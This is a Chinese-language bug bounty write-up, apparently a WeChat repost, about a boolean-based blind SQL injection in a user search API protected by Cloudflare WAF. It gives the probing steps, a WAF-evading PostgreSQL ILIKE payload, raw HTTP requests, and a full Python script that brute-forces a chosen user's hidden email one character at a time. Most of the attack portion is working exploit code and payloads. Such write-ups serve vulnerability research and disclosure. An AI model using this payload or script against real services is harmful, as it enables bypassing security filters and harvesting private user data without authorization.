https://api.test.com/users/public?page=1&search=bug_vs_me
在前端,我们可以选择搜索用户。如果我搜索bug_vs_me
,它会显示我的账户、我的头像和公开用户信息——没有任何敏感信息。但如果我搜索`'bug_vs_me`
,它不会显示任何结果,这意味着它会破坏后端的 SQL 查询。但在前端,没有显示任何错误。
因此我检查了我的 Burp 请求历史记录并手动开始测试此 SQL
我搜索了 deepak,得到了结果。
我搜索了 ’OR testing1337,没有结果,并出现了 SQL 错误,而一些漏洞赏金猎人可能不会手动检查 API 请求中的这些情况。
因此,我们确认存在 SQL 注入,并且后端使用的是 PostgreSQL——但等等……
Cloudflare WAF,而且非常严格。我尝试使用 SQLMAP 和其他工具提取数据,但都失败了,因为 Cloudflare WAF 阻止了所有尝试。我对绕过 WAF 有一定的了解,但主要是针对 XSS,而不是 SQL 注入,因为 SQL 注入需要我们构造包含 IF、OR、AND 等的查询,而 WAF 会阻止所有类似 'OR'1'='1 的 payload。其他 payload 也一样被阻止。
这个SQL注入是Boolean-Based Blind SQL Injection
,所以我尝试阅读PostgreSQL
文档,发现我们可以使用` ILIKE
`,它用于不区分大小写的模式匹配。
于是我构造了这个查询:
/users/public?page=1&search={}'+Or+publicusername+ILIKE+'deepak
这个查询返回了结果,我注意到还有一个被掩盖的电子邮件。因此,我尝试提取电子邮件,使用了这个查询:
GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'deepak .com HTTP/2
Host: api.test.com
这里请注意:` publicusername
` 列存储公共用户名 slug,而 ` username
` 列存储不公开的用户电子邮件。
所以上面的 SQL 查询基本上是这样的:它会检查 SQL 数据库中是否存在任何 ` publicusername
ILIKE` deepak
,以及 ` publicusername
` 是否包含 ` username
ILIKE [email protected]`。如果为 true,则会看到数据。如果为 false,则不会看到任何结果。
我们可以提取完整的电子邮件,如下所示:
GET /users/public?page=1&search={}'OR+publicusername+ILIKE+'deepak'+AND+username+ILIKE+'dee HTTP/2
Host: api.test.com
上面,我搜索了 if ` username
` (email) is ` dee
` →> true
,得到了结果
GET /users/public?page=1&search={} 'OR+publicusername+ILIKE+' deepak '+AND+username+ILIKE+' deex HTTP/2
Host: api.test.com
上面,我搜索了 if ` username
` (email) is ` deex
` →> false
,但没有得到结果。
同样的方式,我们可以提取完整的电子邮件
所以我为他们编写了一个脚本,只需输入用户的公开用户名,20 秒内就能提取完整的电子邮件:
import requests
# 目标配置
host = "https://api.test.com"
base_path = "/users/public"
charset = "abcdefghijklmnopqrstuvwxyz0123456789@._"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "application/json"
}
# 提示用户输入要测试的公开用户名
public_username = input("Enter the public_username to extract email for: ").strip()
email_prefix = ""
def is_valid_email(prefix):
payload = f"{{}}'OR+publicusername+ILIKE+'{public_username}'+AND+username+ILIKE+'{prefix}"
url = f"{host}{base_path}?page=1&search={payload}"
try:
r = requests.get(url, headers=headers)
if r.status_code == 200 and '"public":[' in r.text:
data = r.json()
if data["status"] == "success" and data["public"]:
print(f"[+] Valid prefix: {prefix}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
print(f"[*] Starting email extraction for public_username: {public_username}")
while True:
for char in charset:
test_prefix = email_prefix + char
if is_valid_email(test_prefix):
email_prefix += char
break
else:
print(f"[+] Email extracted: {email_prefix}")
break
# 脚本流程说明
1.输入收集——脚本提示用户输入一个` public_username
`(例如` john123
`),即需要提取其电子邮件的目标用户。
2. 初始化- 将 `email_prefix` 初始化为空字符串。- 定义包含电子邮件中可能出现的字符的 `charset`:`abcdefghijklmnopqrstuvwxyz0123456789@._`
3. 开始提取循环- 进入“while True”循环,一次强制提取电子邮件中的一个字符。
4. 字符测试- 对于 `charset` 中的每个字符 `c`:- 将 `c` 附加到当前 `email_prefix` 以创建一个新的猜测(“attempt”)。- 使用以下方式构造 SQL 注入有效负载:```' OR publicusername ILIKE '<public_username>' AND username ILIKE '<attempt>'```- 发送 GET 请求至:```https://api.test.com/users/public?page=1&search= <payload>```
5. 响应分析- 检查响应是否:— HTTP 状态码为 `200`— JSON 包含 `”status”: “success”— `”public” 列表不为空— 如果所有条件均满足,则猜测的前缀有效。字符 `c` 将被添加到 `email_prefix` 中,并继续执行。
6. 终止- 如果在一次迭代中没有来自“charset”的字符匹配(没有进展),则循环中断,假设已提取完整的电子邮件。
7. 最终输出- 打印完全提取的电子邮件前缀:
原文始发于微信公众号(红队笔记录):绕过 Cloudflare:使用 SQL 盲注枚举用户邮箱的技巧分享
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论